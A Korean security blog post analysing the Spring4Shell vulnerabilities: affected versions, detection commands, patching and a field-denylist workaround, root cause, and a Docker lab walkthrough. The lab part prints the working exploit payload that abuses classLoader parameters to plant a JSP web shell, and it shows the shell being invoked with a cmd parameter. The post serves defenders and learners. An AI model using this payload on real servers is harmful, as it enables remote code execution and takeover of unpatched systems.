안녕하세요. CloudV사업부 김현구 입니다.
2022년 3월에 발생한 Apache Sping4Shell 취약점에 대해 분석하고 알아보고자 합니다
0.취약점명
- Spring4Shell 취약점
- CVE-2022-22963, CVE-2022-22965
1.개요
Vigil@nce #Vulnerability of Spring Framework: overload via SpEL Expression. https://t.co/bLjTihE1Sb Identifiers: #CVE-2022-22950. #CyberSecurity pic.twitter.com/TDLhba2Eqx
— vigilance_en (@vigilance_en) March 28, 2022
- 2022년 03월 30일 KnownSec 404 보안팀의 Heige 연구원이 PoC 실행 화면을 공개 하였습니다.
- 원격 코드 실행(RCE)으로 이어지는 두 가지 심각한 취약점인 Spring 프레임워크에서 나타났습니다.
- Spring Core, Spring Cloud Functions에서 발견되었습니다.
Spring Core의 바인딩 프로세스 bindRequestParameter
캐시의 객체 속성을 가져오기 위해 getCachedIntrospectionResults
메서드가 파라미터를 바인딩 할 때 바람직하지 않게 클래스 외부에 노출함으로써 발생되는 취약점입니다.
2.영향을 받는 버전
해당 취약점을 발생시키기 위한 두 가지 충족 조건
CVE-2022-22965 (Spring4Shell) // CVSS v3 : 9.8 / 10.0
- JDK9 이상 사용
- Spring MVC FrameWork, Spring WebFlux, TomCat (3중 택1)
- Spring Framework 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전
CVE-2022-22963. // CVSS v3 : 9.8 / 10.0
- JDK9 이상 사용
- Spring Cloud Function 3.1.6 ~ 3.2.2 버전
3.취약점 조회 방법
3-1. JDK 버전 확인
JDK 8 버전 이하인 경우 취약점의 영향을 받지 않습니다.
1
|
java –version
|
cs |
JDK 9 버전 이상일 경우 본문 아래 2번을 따라하여 주시길 바랍니다.
3-2. Spring 프레임워크 사용 확인
1
2
3
|
find. –name spring–beans*.jar
find. –name spring*.jar
find. –name CachedIntrospectionResuLts.class
|
cs |
해당 명령어를 차례대로 입력하여 파일이 존재한다면 Spring 프레임워크를 사용하여 시스템을 개발하였으므로 취약한 서버 입니다.
4.해결 방법
응용 프로그램에서 Maven the Spring Framework 버전을 업그레이드 합니다.
Spring Framework 5.3.18 및 5.2.20 버전의 경우 취약점 패치가 되어있습니다.
1
2
3
|
<properties>
<spring–framework.version>5.3.18</spring–framework.version>
</properties>
|
cs |
Gradle 업그레이드
1
|
ext[‘spring-framework.version’] = ‘5.3.18’</code>
|
cs |
현재 업데이트를 통한 패치가 불가능 할 경우
1
2
3
4
5
6
7
8
9
10
11
|
@ControllerAdvice
@Order(Ordered.LOWEST_PRECEDENCE)
public class BinderControllerAdvice {
@InitBinder
public void setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{“class.*”, “Class.*”, “*.class.*”, “*.Class.*”};
dataBinder.setDisallowedFields(denylist);
}
}
|
cs |
@ControllerAdvision을 통해 WebDataBinder에서 허용되지 않는 필드를 설정하는 것을 권장합니다.
5. 취약점 원인 분석
[사진2] getCachedDesciptorCache 메소드 내 class 속성확인
- 애플리케이션 요청 매개변수를 POJO에 바인딩하기 위해 “getCachedIntrospectionResults” 라는 메소드를 호출한 후 캐시의 Object 속성을 가져옵니다.
- POJO는 @RequestBody annotation이 적용되어 있지 않아야 합니다.
[사진3] 문제의 코드 수정 // 출처 : Github
Spring 개발자에 의해 Mar 31, 2022 날짜로 문제가 발생한 ‘CachedIntrospectionResults.java’ 코드 패치가 되었습니다.
6. 취약점 상세 분석(실습)
6-1. 터미널 실행
[사진4] Docker Spring4Shell 취약 서버 환경구성
1
|
docker build . –t spring4shell && docker run –p 8080:8080 spring4shell
|
cs |
해당 명령어를 입력하여 패키지 다운로드&빌드 그리고 도커를 실행합니다
6-2. 웹페이지 정상 접속 확인
[사진5] Spring4Shell 취약 서버 웹페이지
도커 컨테이너가 정상적으로 실행이 되었다면 http://도메인주소:8080/helloworld/greeting 를
입력하여 웹페이지가 잘 접속되는지 확인합니다.
6-3. 익스플로잇 실행
[사진6] Exploit 서버에서 취약점 서버 코드 인잭션 공격
1
|
python3 exploit.py ––url “http://도메인 주소:8080/helloworld/greeting
|
cs |
IP 115.0.0.84 서버에서 exploit.py 다운로드 후 취약점 서버인 python3 exploit.py ––url “http://115.0.0.172:8080/helloworld/greeting 명령어를 입력합니다.
exploit을 실행하면 코드 인잭션이 실행되게 됩니다.
6-4. 취약점 서버 공격 확인
[사진7] Spring4Shell 취약 서버 취약점
1
|
http://도메인 주소:8080/shell.jsp?cmd=id
|
cs |
이후 도메인 주소 창에 shell.jsp?cmd=명령어 입력시 해당 사진과 같이 결과가 출력됩니다.
7.Exproit 분석
1
2
3
4
5
6
7
8
9
10
11
|
def run_exploit(url, directory, filename):
log_pattern = “class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20” \
f“java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter” \
f“(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B” \
f“%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di”
log_file_suffix = “class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp”
log_file_dir = f“class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}”
log_file_prefix = f“class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}”
log_file_date_format = “class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=”
|
cs |
Source Code : exploit.py
Spring4Shell 익스플로잇은 공격자(해커)가 Query 파라미터를 통해 클래스 속성과 같은 Java 클래스의 위험한 속성에 악의적인 값을 주입할 수 있도록 하는 Spring의 취약점을 이용합니다
아래와 같은 공격자는 다음과 같은 요청을 할 수 있습니다
1
2
|
curl ‘<http://localhost:8080/spring4shell?class.module.classLoader.resources.context.parent.pipeline.first.pattern=test>’
|
cs |
로그 패턴을 로 설정합니다.
다음과 같이 속성을 조작하여 악성 JSP 파일을 생성할 수 있습니다.
-
class.module.classLoader.resources.context.parent.pipeline.first.pattern
-
코드 실행을 수행하는 데 사용할 수 있는 로깅 형식 패턴으로 설정합니다.(실제 페이로드가 있는 위치)
-
-
class.module.classLoader.resources.context.parent.pipeline.first.suffix.jsp
-
.jsp로 설정할 수 있는 로그 파일 확장자를 Java 기반 코드로 포함하도록 설정합니다.
-
-
class.module.classLoader.resources.context.parent.pipeline.first.directory
-
악의적인 JSP 파일이 상주할 디렉토리를 설정합니다.
-
-
class.module.classLoader.resources.context.parent.pipeline.first.prefixshell
-
생성할 파일의 이름을 설정하고, 해당 익스플로잇을 shell로 설정합니다.
-
-
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
-
로그에 대한 날짜 형식이 설정되며, 이 형식은 비워 둡니다.
-
Reference
https://www.cyberkendra.com/2022/03/spring4shell-spring-confirmed-rce-in.html
https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
https://velog.io/@thelm3716/spring4shell-분석-글-정리-CVE-2022-22965#04-vulnerable-version
https://github.com/thomasvincent/springshell/blob/262f0bfc631ceedc96e02f50ef1124491bcb1a53/README.md